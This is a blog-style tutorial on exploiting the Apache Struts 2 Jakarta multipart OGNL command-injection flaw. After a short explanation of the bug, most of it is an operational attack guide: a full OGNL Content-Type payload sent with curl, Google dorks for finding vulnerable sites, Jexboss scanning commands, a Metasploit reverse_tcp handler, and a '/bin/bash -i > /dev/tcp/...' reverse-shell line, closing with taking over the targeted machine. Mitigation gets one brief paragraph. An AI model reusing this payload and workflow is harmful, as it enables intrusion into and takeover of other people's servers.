The Jakarta Multipart Parser in Apache Struts 2 2.3.x before 2.3.32 and 2.5.x before 2.5.10.1 has incorrect exception handling and error-message generation during file-upload attempts, which allows remote attackers to execute arbitrary commands via a crafted Content-Type, Content-Disposition or Content-Length HTTP header.

Source: rapid7.com

ANATOMY OF THE ATTACK

Apache Struts Vulnerability

Struts is vulnerable to remote command injection attacks through incorrectly parsing an attacker’s invalid "Content-Type HTTP header". The Struts vulnerability allows these commands to be executed under the privileges of the Web server.

If the "Content-Type" value isn’t valid, that is, it does not match an expected valid type, an exception is thrown that is then used to display an error message to a user. In this case, we can set the "Content-Type" to an OGNL expression such as:

Content­Type: ${(#_='multipart/form­data')}...

Why Does the Vuln Occur ?

The vulnerability occurs because the Content-Type is not escaped after the error, and is then used by LocalizedTextUtil.findText() function to build the error message. This function will interpret the supplied message, and anything within ${…} will be treated as an Object Graph Navigation Library (OGNL) expression and evaluated as such. The attacker can leverage these conditions to execute OGNL expressions that in turn execute system commands.

OGNL is also an expressive and extensive language in and of itself. It’s a very powerful and reliable tool for the attacker. Many core JAVA functions can be exposed, for example, java.core.ProcessBuilder() allows an external program to be run on the system.

Exploitation is also further facilitated by the ability to receive information back from the server on the status and output of the commands that are executed by the web server. No additional communication channel is needed, which aids in minimizing detection and bypassing existing firewall rules.

HTTP REQUEST WITH CURL CONTAINING CONTENT-TYPE HEADER WITH OGNL EXPRESSION.

curl https://example.com:8080/welcome.action -H "Content-Type:
%{(#_="multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)
.(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container'])
.(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))
.(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear())
.(#context.setMemberAccess(#dm)))).(#eps=#container.toString()).(#cmds=({'/bin/echo', #eps}))
.(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start())
.(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream()))
.(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush()))}
com.opensymphony.xwork2.inject.ContainerImpl@d0d2b00

The curl command shown above demonstrates whether the server is vulnerable or not by sending an http request with an embedded OGNL expression in the Content-Type header. The OGNL expression sets default access rights to the members of the OgnlContext JAVA object, which represents the execution context of the expression.

How Do Mitigate this Vulnerability?

Web application firewalls such as mod_security can mitigate the risks associated with this type of attack if rules are set to types valid content or OGNL expressions included in a blacklist. Another solution, and certainly the best one, is the Struts2 update.

Source: blog.blackducksoftware.com

GOOGLE DORK

There is no doubt that there are thousand and one ways to find vulnerable targets for this type of attack. In order to cut short, we are going to use a non-exhaustive list of Google Dork to demonstrate how it’s easy for a blackhat to build a list of potential vulnerable websites.

intitle:"Struts problem report" intext:"Struts has detected an Unhandled"
intitle:"Struts Problem Report" intext:"development mode is enabled."
filetype:action
filetype:do
filetype:java
filetype:out
filetype:bat
filetype:seam
filetype:sh
filetype:bson
filetype:el
filetype:pm
inurl:login.action
inurl:login.do
inurl:login.java
inurl:index.action
inurl:index.do
inurl:index.java
VULNERABILITY ANALYSIS

In order to detect if a host is vulnerable to the Struts2 exploit, we can use Jexboss, this tool made in Python is definitively doing a great job and can help you to save a precious time. The tool and exploits were developed and tested for JBoss Application Server versions v3, v4, v5 and v6. JSF, Seam Framework, RMI over HTTP, Jenkins CLI RCE (CVE-2015-5317), Remote JMX (CVE-2016-3427, CVE-2016-8735). For more information you can visit the Github page of the author.

Requirements

  • Python >= 2.7.x
  • urllib3
  • ipaddress

Install Jexboss on Ubuntu/Debian and other derived distributions

git clone https://github.com/joaomatosf/jexboss.git
cd jexboss
pip install -r requires.txt
python jexboss.py -h

Or

# Download the latest version at: https://github.com/joaomatosf/jexboss/archive/master.zip
unzip master.zip
cd jexboss-master
pip install -r requires.txt
python jexboss.py -h

Install Jexboss on Windows

If you are using Windows, you can use the Git Bash to run the JexBoss.


  • Download and install Python
  • Download and install Git for Windows
  • After installing, run the Git for Windows and type the following commands
PATH=$PATH:C:\Python27\
PATH=$PATH:C:\Python27\Scripts
git clone https://github.com/joaomatosf/jexboss.git
cd jexboss
pip install -r requires.txt
python jexboss.py -h
HOW TO USE JEXBOSS

Scan single host using Jexboss

# Type the below commands in your terminal
sudo python jexboss.py -host http://target_host:8080

Scan multiple hosts using Jexboss

# Type the below commands in your terminal
# Don't forget to replace the path with your own
sudo python jexboss.py ­-mode -file­-scan -­file /path/file/urls.txt ­-out /path/output/results.log ­­--struts2

If the server your are scanning is vulnerable to struts2 you will get an output looking like the following screenshot.

how-hackers-exploit-struts2-vulnerability-to-install-cryptominer-in-linux-and-windows-servers

CREATE MSF SESSION

In order to open a session from our targeted website we will need to create an exploit multi-handler with Metasploit. This can be done very quickly using the below commands.

# Open Metasploit
msfconsole

# Type the below commands in your terminal
msf > use exploit/multi/handler
msf exploit(multi/handler) > set "YOUR-IP-ADDRESS"
msf exploit(multi/handler) > set "YOUR-LOCAL-PORT"
msf exploit(multi/handler) > set PAYLOAD linux/x86/shell/reverse_tcp
msf exploit(multi/handler) > show options

Output

how-hackers-exploit-struts2-vulnerability-to-install-cryptominer-in-linux-and-windows-servers

On the above example we are using a Linux X86 Shell Reverse TCP payload, off course the type of payload shall be different if we are targeting a Windows machine.

EXPLOIT THE TARGET

We are now going to send our exploit in order to create a reverse shell using Jexboss and forward the traffic to the MSF session using TCP protocol.

Jexboss Commands

sudo python jexboss.py -host http://example.com/login.action --struts2

Output

how-hackers-exploit-struts2-vulnerability-to-install-cryptominer-in-linux-and-windows-servers

If Jexboss is able to inject his payload, you will need to enter the below command in order to establish a connection with Metasploit.

Jexboss Console

# Replace `MACHINE-IP-ADDRESS` and `MACHINE-PORT` with your own parameters
Shell> /bin/bash -i > /dev/tcp/MACHINE-IP-ADDRESS/MACHINE-PORT 0>&1 2>&1

Metasploit Console

msf exploit(multi/handler) > exploit

Output

how-hackers-exploit-struts2-vulnerability-to-install-cryptominer-in-linux-and-windows-servers

You are done! If the targeted website and/or server is vulnerable to Struts2 exploit, a session will be created in your Metasploit allowing you to take over the targeted machine.

Conclusion

If you have any questions about this article or if you want to share your thoughts with us, please feel free to do it using the below comment form.